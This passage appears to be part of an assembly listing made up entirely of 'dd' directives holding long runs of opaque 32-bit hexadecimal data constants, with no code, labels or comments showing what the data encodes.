		dd 1824FC38h, 8840C44Eh, 0ECFDCC3h, 7BB1004Dh, 3C24F1F0h
		dd 685B72D5h, 0F4187063h, 0A3C680E4h, 4F74F920h, 66C820h
		dd 0F1B16923h, 187FFE40h, 0CCF4A92Eh, 0FD997060h, 0DB2C2C21h
		dd 84AE9150h, 30137BAAh, 5846DDB4h, 9B5AD00h, 7EC168E5h
		dd 0F96E04C5h, 0C1FC821Ah, 32449894h, 0F4AE170Ch, 10546C3Ch
		dd 1F111A01h, 8291644Dh, 48191927h, 3DCAC9A7h, 0A88E29D8h
		dd 81A8DF00h, 456F0D0h,	0FA0160BBh, 2D0CDD14h, 48019F34h
		dd 18B6ECA1h, 0C3A8989h, 0C60B5C20h, 211C09D1h,	58D88962h
		dd 31AD671h, 9C8647CAh,	5BE0032Fh, 7A1D9432h, 0CF00A779h
		dd 0E68236A2h, 2AB2EF9h, 0B1CC5058h, 79789001h,	741C8985h
		dd 872F9C26h, 71B492h, 0B9E01884h, 0E11F94CAh, 92C90093h
		dd 0FBD20B7Ah, 5B4BD02h, 404E601Fh, 0C063218Ch,	8FA0C5B9h
		dd 0D51F67A5h, 708B045Bh, 4534103Ah, 27D400D3h,	0EE7F5DA6h
		dd 0BE17B06Eh, 38082B8Ch, 49AAF0Ah, 0C409D453h,	50EC40D1h
		dd 70BE00ABh, 0A783BDA5h, 0E112A120h, 189093B4h, 0F2AA0Bh
		dd 9AFEA9DFh, 430ABA4h,	70533805h, 88376934h, 0B4F39304h
		dd 7199DD09h, 75482046h, 0CA6E10FCh, 80129825h,	0F2FD6EC0h
		dd 90C64600h, 28C39309h, 2B7B000Fh, 63E4A9D8h, 1195B2D2h
		dd 9808669Ch, 3AC49496h, 420CB4h, 37783493h, 0FB10A42Ah
		dd 56009AE8h, 0BD60CF33h, 2547DCD2h, 5090824Fh,	6AF41430h
		dd 9315CC00h, 2B5FA4E4h, 0F7CB0069h, 9F4CE52Ch,	0F75618Eh
		dd 0B2F66F71h, 0D48C75E1h, 75024A9Ah, 90E6CBA6h, 65CDB68h
		dd 0C1CF0F86h, 208A484Ah, 40B70A1Ch, 0FD8F3598h, 250FA585h
		dd 271FCB03h, 0F590AA87h, 1E4D720Ah, 0FFB6A1h, 5AF36C0h
		dd 5C93AED1h, 57932505h, 629EB030h, 47F00743h, 0C06B5012h
		dd 42B17A9Ah, 9902BE00h, 1E83E6C1h, 605C91E5h, 9E5E97CAh
		dd 444BEA00h, 0C539E199h, 19D600D4h, 93494651h,	8300FCD3h
		dd 0B3C0796Fh, 17AEDC2Bh, 74DB47C2h, 0CC0A09Ch,	0CCBEE738h
		dd 827309F8h, 8F43223h,	51CEF4FFh, 849C017h, 8A80366Ch
		dd 463725D9h, 76971E7h,	0D43FE6C4h, 0FEBCC02Ch,	0BB162616h
		dd 0EC21C5F8h, 8850603Ah, 3D4B4C34h, 0BB80AADFh, 46497E4h
		dd 2D26E59Ah, 0C51204ADh, 0A6B8A4h, 0E44B35AAh,	8B7C3D95h
		dd 0D74100Eh, 0E1A8A540h, 0FE8E098h, 5077BEADh,	645A3B09h
		dd 7634F400h, 0E44BF61h, 0E86801B2h, 0BC9DD6B1h, 1069C5h
		dd 8CBA9B41h, 3B21BBB3h, 0D459C366h, 14103B89h,	0C707931Ah
		dd 0DDF4A649h, 0A30D8AF1h, 5A4DA340h, 96D20935h, 0C8303999h
		dd 722E6219h, 2008FC43h, 896D0EB9h, 0A5C700B1h,	4C28BEAEh
		dd 1C550180h, 0B9573854h, 21F8E05Ah, 967DFF04h,	0B898A441h
		dd 1C3A227Bh, 734F5000h, 0A95149F1h, 0F2E20074h, 2E61BD1Ah
		dd 6E0ADEECh, 0AC19655Fh, 7F77BB81h, 8C613AE0h,	7580E839h
		dd 310E2A40h, 1AFFAD27h, 0A8C6E0h, 0CBDEA338h, 0B5B031DBh
		dd 0FCC8A74Ah, 1B8C9268h, 31344339h, 3CEC08Ch, 8008240h
		dd 0D02AF3D2h, 1CA4A73h, 9AA65F6Ch, 401BA58Dh, 9936CC98h
		dd 1F415Ah, 0DBC1A026h,	7EDB6758h, 0C9D95159h, 17C4460h
		dd 705DB546h, 384D4FB3h, 218D050h, 0DB9885FCh, 4BB0ECBFh
		dd 0B15C82ACh, 11C1F406h, 791A6C64h, 0F0359C4Eh, 62CFF862h
		dd 41101AE8h, 98D049F0h, 549F00C8h, 0AD0A0BE2h,	33041590h
		dd 74264F07h, 0AC00E0DAh, 0FFA2C8BEh, 0D8F21D19h, 47381492h
		dd 2265AFECh, 5B094B60h, 53FE8150h, 0C0B7E0BAh,	930E0C9Dh
		dd 61182D3Ch, 19DDEF95h, 0F6B0243Ch, 7A023BCAh,	0C4D63E26h
		dd 0A47904E5h, 1E0957A8h, 318223B4h, 98C8A640h,	12AC990Bh
		dd 98CA60h, 185C06E5h, 9CDDC9h,	137029A7h, 4768910Eh, 71A6D300h
		dd 0D1544E69h, 9DDA096Ch, 0A0E6AB6Eh, 0A8944290h, 8F1E8D82h
		dd 2A8890BCh, 0AC102473h, 6401CB54h, 728994E8h,	644C0178h
		dd 0B84F9B20h, 68AC9DCh, 95E58082h, 0B880E1ABh,	9E04A752h
		dd 0CBAED06Ah
		dd 5E1E48E6h, 9CD5D41Eh, 5802C88h, 0B85712C4h, 0E77700D2h
		dd 0DDF52BABh, 6CB0A83Dh, 0AF5A1B0Fh, 9185E967h, 0C798E80h
		dd 0BD372801h, 0F09A0682h, 0DD1753CAh, 0F7020A5Bh, 52439FE9h
		dd 0BEF10F4Ch, 1F26C59h, 13F508E8h, 0A03BD421h,	0CAC52896h
		dd 8C5940F2h, 8FCA2D2h,	241EF0F8h, 1F211CCh, 34FE2BBCh
		dd 2FC4DF19h, 0DCFF09D3h, 7040D770h, 0C689FDA8h, 8200482Dh
		dd 0C1ACD013h, 0F079A11h, 73A39DFEh, 44DC8562h,	0CA494AA4h
		dd 0C730078h, 40905867h, 0EFB09Fh, 6F71D59Eh, 606A5949h
		dd 3AF5B213h, 430EBCD0h, 0F8FE029Ch, 0A16944Ah,	56BBC60h
		dd 5F3C8902h, 6C26DEBBh, 478A4A14h, 707885F0h, 0EE360C2h
		dd 4B2B3F00h, 7D7CEC1h,	8F310197h, 202126BBh, 99683CB7h
		dd 0B6F0B84Ch, 2B1C00E5h, 0FA4009C0h, 4B1F78EEh, 0E085A9BCh
		dd 0C06271FBh, 0E08F293h, 0BAF297D1h, 7CA55E4Fh, 7AEC8CD0h
		dd 6200B5B8h, 11A59A63h, 0E44A409Fh, 0FBDA27D4h, 684AB84Ch
		dd 6F7A70D0h, 6B2600AEh, 4CEA67B3h, 0DB008076h,	2304E459h
		dd 2FD021FEh, 0A400AC18h, 8995C76Ch, 0F866BA44h, 49000E1h
		dd 9B4F2E85h, 1600DAADh, 0FF2832F2h, 2FECE2h, 37839653h
		dd 0B05A49AEh, 93C1894h, 94DB1AD6h, 0B885247Ch,	40B9446Ch
		dd 0A5963CDAh, 0E0860072h, 0CDC6F0F1h, 0C5008F21h, 0E8E4AF50h
		dd 0B16A6427h, 0B94A448h, 0D0004045h, 80A9D77Ch, 3896FF71h
		dd 2559050h, 29B18B52h,	3C564F53h, 0B96B9263h, 298A54h
		dd 0FCD99EC9h, 0C0EB6CACh, 2AF200h, 5B1A9D23h, 651CC519h
		dd 5AFAD900h, 6D4C8356h, 0EF10007Bh, 7690AEF3h,	28CF5E9Ah
		dd 0E6B3602Fh, 0C00C8647h, 0ADE05710h, 0D90ED8BAh, 0E4059011h
		dd 0FBC17837h, 61BD1E9Ah, 52CFDE00h, 0EA49CB71h, 0F0B53D00h
		dd 79D9058Eh, 18C473EDh, 311F9FE6h, 0A900E458h,	8A123B17h
		dd 38D5B8h, 0B4876F59h,	0E1D0ED9Bh, 60F2706h, 8840E0h
		dd 80E2895Eh, 7620D58h,	18423600h, 8EFC8602h, 0E1F60771h
		dd 0F01A68C6h, 0C489C729h, 0F000B1FAh, 5E437B3Fh, 0C016A09Ch
		dd 3D837881h, 0DB010EB6h, 0C4BEC032h, 0D8D37496h, 0F272884h
		dd 9AC5E4DDh, 0C246F8E0h, 570E8F6Fh, 0C36622Ch,	2B08E5h
		dd 92A0C767h, 0BDE71D5Dh, 81CE0B3Eh, 485BCC60h,	0D9E01B2Bh
		dd 1D38CB2Ch, 0DF2102DFh, 0D0E3C010h, 99F600CCh, 0CA8ECD54h
		dd 6A034CD9h, 9F5B76B1h, 2C600074h, 0FEADF342h,	0AC0FDCB0h
		dd 83CFB329h, 387F0E69h, 0E23F6648h, 628C2483h,	39005C45h
		dd 50DF644h, 2173E92h, 99868358h, 0E97EC4D0h, 4031980Eh
		dd 0FDBAF402h, 53833873h, 43D9E430h, 3000D884h,	15AB7767h
		dd 196CCFBh, 126DC3B3h,	415E995Bh, 50606850h, 8B07EF8Ch
		dd 5082E009h, 1342007Eh, 156A431Bh, 848A498Eh, 0B30A6900h
		dd 6094366Ch, 0D3006EFEh, 7C8CB6Ah, 3066A83Eh, 5950370Fh
		dd 0C7004387h, 0B1FD9493h, 0AFFAB2h, 70810BDBh,	247A8232h
		dd 0D3713105h, 801D7D72h, 5D403Ch, 2488DA6Ah, 0E52609FBh
		dd 3F004E7Bh, 8DCB8CA7h, 1E55B132h, 403B3Ah, 0D9D0398Eh
		dd 3F035B9Ah, 0AD6FC50Fh, 30D9062Eh, 580DE11Bh,	0C606D6F0h
		dd 31B07210h, 24C80721h, 0B5DA80B1h, 8C8C005Fh,	0FDD54DE1h
		dd 99D3C900h, 7EC8545Bh, 0BAE90A8Eh, 20B87401h,	47A614B0h
		dd 3102AC0Bh, 2FF0995Eh, 0A58C4902h, 0F805F98h,	0C5B6BBh
		dd 0A1B3574h, 80DE8F61h, 233A3F09h, 272C18A1h, 0A0A468h
		dd 526DDE4Fh, 7432A73Dh, 7B808800h, 5CA43807h, 10D715Dh
		dd 0AA61E92Fh, 715B732Ch, 42A0101Ah, 1C006E8Eh,	8A3D8599h
		dd 9021785Fh, 494870F8h, 660014C2h, 6CE53E28h, 4491B319h
		dd 0C161F581h, 48D2AD5Ch, 0B45A14h, 4D8F9E2h, 86498C62h
		dd 0ACAAE1C0h, 5E7E14h,	664DF15Ch, 0CED47445h, 6F2A85B8h
		dd 3650BCB0h, 394941D4h, 670B83A4h, 5B210043h, 0B485B7CEh
		dd 0E9008613h, 5E4E532h, 4BD8C2Dh, 4258937Fh, 0F4188C3Ah
		dd 10BAEF06h, 54D85EEEh, 0C0A8E01Dh, 96603ABAh,	0CAE63427h
		dd 0C857491Eh, 40351D4Fh, 1B2DC15Fh, 0A14761F3h, 50EFC68Bh
		dd 0C8418C8Ch, 0D955E218h, 4913FEF1h, 0F683A4CDh, 3CC214CBh
		dd 6B2087h, 0A5CEC0F3h,	0EA28200h, 0F97940FBh, 28DA38DBh
		dd 0E0A11F30h, 0DF0081A6h, 0A2C92ED6h, 5F74F6Ch, 0FB9824CCh
		dd 2C63805Ch, 7355435Bh, 76C04CE8h, 0D3ABAE00h,	2665B9F1h
		dd 28614C1h, 0CBC084F0h, 0C48A41DEh, 1BD1BB65h,	78A9A3C6h
		dd 735C13D1h, 0CB8820ADh, 69C06846h, 42035866h,	0E8A5398Ch
		dd 0E88E6F9Fh, 45DD0014h, 7D176C79h, 660CCCF9h,	0B0B023CEh
		dd 0C7E433D1h, 67E007E1h, 0C9F4699Dh, 0C39EBD00h, 0DEAFE1CAh
		dd 1343AABh, 82B07Bh, 7B261DC4h, 414F70DFh, 6D5CF02h, 0C02F3829h
		dd 772D59ABh, 0A77FEEh,	88F7C1B2h, 2CF4262h, 3168B033h
		dd 0A3B8FB98h, 0BA75E0EBh, 615970BCh, 8F9D1007h, 845EC418h
		dd 49740900h, 0C724A25Dh, 52B800ABh, 0F2409E35h, 934CA795h
		dd 674960AEh, 62B12D84h, 0AE781811h, 0F461E021h, 0B6B7880h
		dd 6C912495h, 7D25A600h, 0E7A5734Dh, 14BB3C04h,	4FAF9681h
		dd 0D4177FCFh, 0C7060AB9h, 0C8C135DDh, 0A6EB00B8h, 386DA74Fh
		dd 86FCE60Eh, 1B846901h, 0E3A46BE4h, 0C340160h,	3AE7F247h
		dd 0B500D580h, 452A992Fh, 0F8592758h, 1EF0AAAh,	8088EDB9h
		dd 63517DE6h, 0C701CCADh, 1F3EE807h, 0CE39CAFh,	0A8FDC220h
		dd 66005180h, 855268ABh, 1C7370B3h, 0C9314035h,	6F85B145h
		dd 4C35829Bh, 2CE0A890h, 43B689C5h, 0B79477C0h,	565C7252h
		dd 360CA881h, 0AFE9F86Ah, 0B6001178h, 27D16625h, 0A5803Eh
		dd 6A990262h, 0C0D5C6B9h, 310BE0B7h, 3980EDC2h,	215B107h
		dd 0F1F5D94h, 0FD2060h,	0A0E31DD7h, 9F2E609h, 0DEC019B8h
		dd 40FC0C01h, 4AA19805h, 78ACBAF8h, 2A900019h, 0B00AC741h
		dd 68C1EA55h, 30E7AF64h, 0C076319Ch, 0C248FCDh,	36F0EF55h
		dd 3E11FC03h, 0E060AE0Ah, 3EAD994Eh, 19020B4Fh,	0D1B1B5F4h
		dd 6835CAFh, 0C2D02497h, 8201BA67h, 6FB12BAEh, 20800389h
		dd 0A23A24Fh, 0A00058CCh, 52619027h, 15780Eh, 5179EEA4h
		dd 0CAE83228h, 3817A601h, 0AE0C3C70h, 50FC5C4Ch, 0B0037424h
		dd 540B24F8h, 0AD010533h, 28F44099h, 67C865F7h,	0F4074E02h
		dd 45623925h, 2E112Ch, 56E6B854h, 54BA08D8h, 62BF5C2Ah
		dd 4C93B0CFh, 23E8444h,	0C369E2B9h, 752848F7h, 0A7BD0076h
		dd 0EE9342Dh, 0C0A117AEh, 56FC11FBh, 1858D04Dh,	505348C1h
		dd 0B6B88680h, 0D43C5F93h, 0ABEC0EC5h, 7FD620CEh, 0C091E61h
		dd 984C7B05h, 21005A31h, 13195B46h, 2A8DC2Bh, 0DEE016D3h
		dd 78B1D04Eh, 0DCCD1138h, 90A59EC8h, 0EDAF004Bh, 21A132DEh
		dd 30152EEh, 48F2968Ah,	4C409D4Ch, 1153557h, 4A10497Dh
		dd 0F04F1B02h, 2C50F8DBh, 220C3E6Ch, 70BC1E53h,	0ED872001h
		dd 34BF0600h, 0C054DD51h, 0A7524C7h, 2FE90224h,	0ACA0ABD7h
		dd 23176E03h, 6C2D0800h, 0DA3C634h, 38D41D57h, 0B105CA39h
		dd 0F6C242BCh, 9EE22820h, 0B9F0A42h, 8B46B23h, 5314F49Ch
		dd 0DCA58094h, 1C5FB12h, 0F82B44F9h, 2013C782h,	502F412h
		dd 631E9326h, 398C4142h, 43A33810h, 0A700AEFAh,	0DFB5941Ah
		dd 12222D56h, 674E3BD6h, 71892C0h, 74505B07h, 447AF7h
		dd 0F69286D5h, 0D4E76494h, 0D1A3E401h, 1E789AFBh, 20E03193h
		dd 25665B70h
		dd 0A644BA00h, 8F50416Ch, 34E5304Fh, 74664321h,	60E4B400h
		dd 28EC1F23h, 0EA6D01BDh, 0EF53B85Eh, 5102CD2Ch, 0F87448C0h
		dd 5714FDD7h, 22E81A7Ah, 0C59C006Fh, 8A55B5EAh,	0AC02DD04h
		dd 0A4D1B6Ch, 7FD49835h, 0B4F454C5h, 8D20070h, 38245C5Fh
		dd 9714B643h, 2298827Eh, 4815002Ch, 3879FD3Dh, 903BA027h
		dd 0A51C129Bh, 0B0A34462h, 0B8D5C79Ch, 69F5602Fh, 8496458h
		dd 0B1460B09h, 0E6C4A04Eh, 0A4634AFFh, 0A89944ECh, 5D074B01h
		dd 0D0D6E846h, 0CEF0B421h, 90F26EBh, 0A82E621Ch, 8C9314C1h
		dd 71F8C239h, 0ED1B07BBh, 0F0FA4B6Fh, 0B9EF0BC3h, 0AC7C30F7h
		dd 0D4C5F105h, 6048E83Ch, 1D6C2D0h, 52B5E4A0h, 68E89875h
		dd 0CCFC8204h, 20C3B832h, 0AA79D904h, 6DD17510h, 0C5B9D400h
		dd 8DD84F9Bh, 47AE0C7Ah, 0C2F132B1h, 4FB59h, 0E61FC91Ch
		dd 0BCB44C4h, 8A25070Dh, 3EC3E030h, 2AF68498h, 0DFC1F13h
		dd 93A66C20h, 5C9950h, 0CC0B0F19h, 9D507017h, 955553F0h
		dd 0D3D7D888h, 40E5F400h, 56ECD9CBh, 8EE7016Ah,	1B971221h
		dd 0C8C3601h, 59AD7898h, 4C0498BDh, 4A34F8CAh, 2F14C2C1h
		dd 6B0B0C66h, 0B8A49513h, 3433C3Ch, 0D520BF19h,	76EFC6AFh
		dd 0A830F9CFh, 914AD46Ah, 799318A4h, 0AC0271C7h, 52BC2C99h
		dd 3E472268h, 6B004C95h, 3BC9E5DEh, 1B1F27AEh, 9C40A076h
		dd 0BF0F79F8h, 78B14CE4h, 0B136E7C6h, 81913500h, 253F4B66h
		dd 2B4C0079h, 36CC2CBDh, 0E090AE2Ah, 48807D53h,	97F310F4h
		dd 198ED618h, 0E800750Ah, 3554DA11h, 0AC6B22CAh, 53C61880h
		dd 7233B19Bh, 65AC4C00h, 75AB8C42h, 0B1A61EA4h,	0B8BD9434h
		dd 28B75317h, 3A0740C4h, 55F3DC82h, 0F1B83970h,	0BBAE1DF0h
		dd 3760F29h, 0C7AC5080h, 0B426CA3Fh, 6AC07406h,	4C9D309h
		dd 0FC14C581h, 359CC80Eh, 8994EE5Ch, 0E9D090D6h, 0D83D01BDh
		dd 3A3B90E6h, 11407780h, 0F4583456h, 0C741F637h, 5190C47h
		dd 0A85ADB2Eh, 90A18243h, 3C253EBBh, 0BE05B74Ch, 61A231Dh
		dd 598C02A8h, 68284924h, 48207964h, 7EF410F1h, 0B4D0CFh
		dd 28F4F5C6h, 7B931B71h, 0C5C029C8h, 5B2CE56Bh,	0F5012843h
		dd 0D831B2A3h, 9C428859h, 9C072505h, 0BB00BA84h, 13FBF4Eh
		dd 18ABB2D1h, 0A8153EE3h, 0B0B99697h, 0ADD6066Eh, 8D493A81h
		dd 7CAEAC38h, 0C5650082h, 53E3CA0Dh, 6E49h, 0F2364F2Fh
		dd 28D1F993h, 12E0DCADh, 62CD126Ch, 0E5209B70h,	0E05C2FDFh
		dd 8525009Ah, 0F4059538h, 0D9485F30h, 0A062A26Ch, 0B7C30FECh
		dd 7E0900E0h, 823E0233h, 0B201A184h, 0A8450E30h, 702028D2h
		dd 0BE4494CCh, 7DEE1CF6h, 1412C75Bh, 2471C080h,	0FB0A4D35h
		dd 84BC5AB7h, 0CB381B11h, 0D78008D8h, 91F6AFD9h, 6836BA09h
		dd 8980316Ah, 3BC343C0h, 0C9250DAFh, 0A8F58430h, 25279B83h
		dd 2818BFBEh, 0B0A47498h, 2440BC4Ch, 6240545Ah,	795B5966h
		dd 47D20B53h, 8C04C5DAh, 3FE7467Eh, 457700A1h, 0DC17895Ah
		dd 540939D2h, 30123CC4h, 2501AC2Ch, 0B8A57B84h,	33C4176h
		dd 0FCA45743h, 0B952D6C0h, 1BE100F8h, 0E43D7334h, 900D00A0h
		dd 9959BCE3h, 69134284h, 5C72D2DBh, 6AE8209Ah, 0FB00348Fh
		dd 4C3E2620h, 3DE0D99Eh, 0F51288CDh, 6370CDE3h,	11410070h
		dd 498A9ECAh, 51E8006Fh, 4778FE17h, 0D4BA1042h,	32C5542h
		dd 77C36380h, 0D3EAE180h, 0EFA3E0Ah, 0E308E8CFh, 80642997h
		dd 12B5B4EEh, 59E48ABEh, 2101B091h, 76D91EE9h, 39BC9C58h
		dd 4902D3A3h, 7B9AEEBAh, 0BC27D111h, 3114721h, 3EDC84C0h
		dd 7E1CC2B4h, 0EA9501AFh, 4CC32EC4h, 0B1A7B947h, 0DC65E240h
		dd 0B0AE5C0Dh, 4FC1CC12h, 0E1000960h, 7BE94F02h, 0A4F50E00h
		dd 860FA2FAh, 40297E68h, 0F1D0AFA3h, 72C0DCE4h,	938431F9h
		dd 0AF81006Bh, 70389F25h, 990BC716h, 0B0D24928h, 45C56D98h
		dd 5580FCF8h, 4845250Eh, 8FB080DBh, 14DE5ECEh, 0AC0B3E3Dh
		dd 0C421CBC0h, 0F312E602h, 0ACCCAF5Dh, 28FE50C2h, 0CB8E008Ah
		dd 0E2DEFCB7h, 32011D55h, 0CB6755Dh, 0C237A83h,	1F00044Bh
		dd 505C8CB2h, 0B39158B3h, 0ADC1785Ch, 0D0FE8121h, 55485865h
		dd 19FD05B2h, 743114EAh, 60297293h, 60907527h, 200E8D1h
		dd 5BC3E39Eh, 58AF2DAEh, 0F502B860h, 0CE163615h, 0C0C6CCA4h
		dd 2D54B5ACh, 5C6AEA09h, 0C60C3074h, 0BFB4BBB4h, 9000F4C4h
		dd 5991FACAh, 5C6EEDh, 1528FB3Eh, 0DE7F0AF5h, 0BCB3612Eh
		dd 78904D12h, 8F6DB4h, 12E3EC9Fh, 89A8E8B8h, 53223D09h
		dd 0AD586866h, 0B31C064h, 0A7502D55h, 5827C275h, 8443003h
		dd 0FB601DC7h, 443490Dh, 6026104Dh, 0D28C87C9h,	0D1AF1248h
		dd 143055A0h, 0E20004B2h, 0FADAF1F2h, 920128E9h, 0AD43BFF9h
		dd 38638719h, 65220880h, 0D72A5679h, 0A7007C32h, 6B2E20BDh
		dd 0F6DFC75Ch, 85182584h, 0DE48C818h, 265D6A03h, 3BC2C5DDh
		dd 8F80C9A1h, 0D10EA708h, 6A1DFCE7h, 0D6801594h, 3989B95Fh
		dd 61134ED7h, 267598F4h, 22CC48F4h, 649902C7h, 5F35958Eh
		dd 0CA7ABC84h, 0CD0900C8h, 0ADD20FC0h, 0F0E00737h, 48FB0D29h
		dd 223648C1h, 778A448h,	0F7B784BCh, 806BF473h, 0C1A26F38h
		dd 18375812h, 0A4D6A021h, 526E8980h, 8C860328h,	8DF4D401h
		dd 0AF71E3CDh, 0F722BC26h, 5202ED79h, 8EC35FEh,	56FCE699h
		dd 0CB12F410h, 220800D5h, 2427F554h, 0A370C00h,	35405176h
		dd 0FFCA73E8h, 0FC176C62h, 3D383082h, 0EAE4D1D3h, 0E620FF61h
		dd 0F21F59h, 5A206A12h,	0DD48D700h, 78EFFAFDh, 0EC8A0663h
		dd 2805CF45h, 5658A398h, 3DD42250h, 0D905A475h,	0CCE9A6A8h
		dd 690195E4h, 54CCE340h, 3770870Ch, 0E637EE0Dh,	0C7C32E78h
		dd 0CC4E16B4h, 4A718B08h, 84F484Fh, 0F3E606Ch, 3E6B8DAEh
		dd 69807336h, 4F2D3CFCh, 531225A4h, 0AC4B3B95h,	27D04CAFh
		dd 0F4817E9Dh, 928C7A93h, 8420E069h, 0FF6AABAh,	4F9BF3A0h
		dd 428193BCh, 8C4C9AECh, 0D680A459h, 799BC165h,	4A40A08h
		dd 60A4BCD3h, 66AE56B3h, 3630F463h, 1C95F425h, 57F0F000h
		dd 4CCD4D52h, 9C7FCEAh,	0BF31108Bh, 0EC00C530h,	0FFC4709Fh
		dd 5FA68FEh, 95FDF30Ch,	39832CDh, 45004879h, 0C5B4FB08h
		dd 46E12464h, 95C10900h, 23359C82h, 0AF0E0044h,	0A387410h
		dd 299C986Dh, 61872A22h, 4E9825B4h, 0DF00FC14h,	57AC43ABh
		dd 0B4CD3Fh, 95912D3Ah,	4167B87Dh, 0D9030404h, 28C84C68h
		dd 8BB900A0h, 29A89261h, 9D094ADFh, 0C81C366Eh,	4C0DFC34h
		dd 6A8E5432h, 0AE571291h, 0AA028CC3h, 744C859Ah, 6C0DC2Ch
		dd 0BBD6B641h, 0B621062h, 72B101E8h, 2F2D00D8h,	8152FD2Ch
		dd 7B04C669h, 4A5355Dh,	0C906A883h, 0E907B316h,	1B212C82h
		dd 259420Fh, 78A10007h,	0F7003F56h, 0D46E3D4Eh,	0BEF9783h
		dd 0C1D8BD49h, 79278380h, 945257E1h, 3E0EC0BCh,	4E40D98h
		dd 0E56A17ABh, 38001630h, 8E872A80h, 2E810037h,	9AB47C4Dh
		dd 0AE050773h, 0E314C147h, 0B000D4B6h, 27335F4Dh, 0D6ECD7CEh
		dd 40CBA500h, 9BF92886h, 53B315C2h, 81008096h, 0D9509A35h
		dd 0A424197Ah, 1C942086h, 98A78044h, 0B9ABF879h, 0FC49E28h
		dd 37C0237Dh, 95FE7653h, 81E3A438h, 5077340Dh, 70783312h
		dd 701A1E80h, 4B0FFF5Bh, 4019B7C3h, 2C17DF44h, 0A1F8A33Dh
		dd 53017574h, 7DCD1041h, 152B0011h, 8DB3DD3Dh, 0C91ED51h
		dd 0D2C58B04h, 92AA7440h, 0D0F37721h, 460480B5h, 0D3116B26h
		dd 974E2843h, 7C0F93Ah
		dd 0C4256AA9h, 0EC193542h, 7A3F0E04h, 17C04F0Fh, 34A31E1Bh
		dd 50DB8009h, 0E98CE03Bh, 30B906D0h, 61C65398h,	0ACB30208h
		dd 0AE0B02C8h, 6484FED8h, 42DFA822h, 78E84C8Ch,	106A5600h
		dd 89C9D158h, 0F574004Eh, 53ACDF84h, 8B0FE54Fh,	4E765960h
		dd 0E9CB00BDh, 14119BAh, 8CA37FDDh, 70356B66h, 0E01759E5h
		dd 18618501h, 5830EF2Bh, 93F800EDh, 9186AAFh, 0F600EA0Dh
		dd 5A2FB73Fh, 982915BBh, 141A00CCh, 8BAAEBDBh, 0C006967h
		dd 0FC57339Dh, 0F4B3788h, 99CCEF4Dh, 201F4AA0h,	0B33201A8h
		dd 6061E17Fh, 486A3678h, 1180E0D0h, 38CC0A4Dh, 1B6DB800h
		dd 80A9D18Ch, 2F69011Eh, 0AA709509h, 0D43ED0DBh, 0AF135200h
		dd 0CBAB33F2h, 0EFF407C6h, 704FA559h, 77E6E3E8h, 8989043Fh
		dd 48C23C48h, 0F85CDB8h, 0DE42F15Bh, 255D6DC0h,	8100953Eh
		dd 0EF8682ACh, 720C679h, 6B96CBB9h, 0DD4520C4h,	3D00C1FEh
		dd 8BBF5170h, 1205FF75h, 5931B84h, 0C04E7D6Ah, 0C6C8A227h
		dd 0AFE90B09h, 797890E7h, 0D7A901DCh, 5FC9EE5Ch, 0DDB3D8C3h
		dd 255B1600h, 0CF8F31A3h, 1D981F5Ah, 0E6B1408Bh, 9E8502D3h
		dd 78085899h, 0B610BEC8h, 0B1450EAh, 4064D612h,	0C15BC07h
		dd 34D00374h, 0E4B11D2Ch, 6CC91F3Fh, 0FA2840F3h, 0F7EDF93Ch
		dd 0A4840E00h, 0B005CC19h, 0C251C566h, 6F9440FCh, 691897A3h
		dd 2BD48400h, 129FE3BDh, 0CC614CC5h, 0A48F60C0h, 21000B68h
		dd 71F1A0F3h, 62304F4Eh, 59BF48ACh, 0B44986E2h,	0CDDB1034h
		dd 0B0A2018Ch, 0E711F6E2h, 698EEC25h, 0FD7B4700h, 0CD7724C3h
		dd 0DC2D2484h, 0E54E8D10h, 9EADE049h, 954F031h,	198335E7h
		dd 9918EEB5h, 72069898h, 61A75A01h, 0A5F3A953h,	82D7EC40h
		dd 858A03C7h, 832B24Bh,	0CA52FF2h, 0E7A48C0Ah, 0A93B9E00h
		dd 461AC8AAh, 0DECA00E5h, 0BC73603Ch, 20000851h, 0A48AECDh
		dd 4CE413A1h, 0B757C6Dh, 0D30137A4h, 0F7005066h, 5C14A6EDh
		dd 0E46F25FDh, 0B1AF0310h, 2CD1341Fh, 0F9E147A8h, 54C21940h
		dd 1D17C4FFh, 409ADB28h, 87329C1Bh, 0D70580E1h,	0C5E530E2h
		dd 120C88h, 0FD21BAD1h,	4E0B2C2Eh, 0B4F1A301h, 62A402E4h
		dd 884AB473h, 87909004h, 62B9BA09h, 1C588103h, 30AC75C6h
		dd 7630305Eh, 0D5C9302h, 0A6F50438h, 0AB484FB1h, 0A060D58Eh
		dd 0CB6D2499h, 7512CADh, 45C76484h, 3C98031Fh, 897E0018h
		dd 6D1AB29Dh, 2D00B839h, 9BEEC8E6h, 3A96FAh, 1125A263h
		dd 0EB1C5E46h, 0E68B8C17h, 0B0608025h, 53FB6Bh,	0C9FE504Ah
		dd 2B79F36Ah, 32B73801h, 0FDA5BBEEh, 8DF2A03Fh,	47D1B107h
		dd 0EC80A686h, 2EE0C899h, 881C03CBh, 0D68CFB25h, 6DE1C0h
		dd 7FC7B32Ah, 0DCFB4CD7h, 5116B9EEh, 2C223311h,	938A18D1h
		dd 0C2D26281h, 46F84696h, 0B0B426B8h, 50CB0Fh, 0A47D7C12h
		dd 0D007005Dh, 2E8AE5A7h, 0B700AA55h, 0E6A37CEh, 0FB7CB0h
		dd 5CEEA0FAh, 799389D1h, 0DDE4D21Ch, 0E8E6918Bh, 4C2ACDC4h
		dd 9417052Bh, 0F12A0313h, 0F288DD22h, 93127A79h, 50041C26h
		dd 4600CF40h, 0A7BAD680h, 8BCD070Ah, 761868BEh,	0D37430h
		dd 1D40CCA9h, 586D6B59h, 782A4B07h, 89EFBA45h, 224400EBh
		dd 5835B394h, 0C787901Dh, 20232978h, 0E682C820h, 0A0A7DC90h
		dd 3A5B38h, 0DA842350h,	73452BBh, 0D71558BFh, 0E2AEE092h
		dd 594C8187h, 5F78806Ch, 7DC4B739h, 34D7007Eh, 2C5323E3h
		dd 2828B2E4h, 7922BC67h, 36100CADh, 0FC91C424h,	142C814Ah
		dd 5DD8A078h, 30CE2C77h, 82440FCh, 0A606ADD3h, 414D54FCh
		dd 72BF0331h, 2DDA4887h, 848957E0h, 8C8DE000h, 52FCC32Ch
		dd 29C00044h, 0C660116Ah, 0AF06F815h, 1CD60D5Dh, 0E0F4C9h
		dd 29EF9D7h, 1E18B58Fh,	0AB559100h, 0E8164862h,	5A200469h
		dd 851BAC76h, 0B33832ABh, 2127A19h, 0A0B37D04h,	4B57620Eh
		dd 783E414h, 210024FCh,	780DA6D5h, 0B49E83F9h, 0F9411E4h
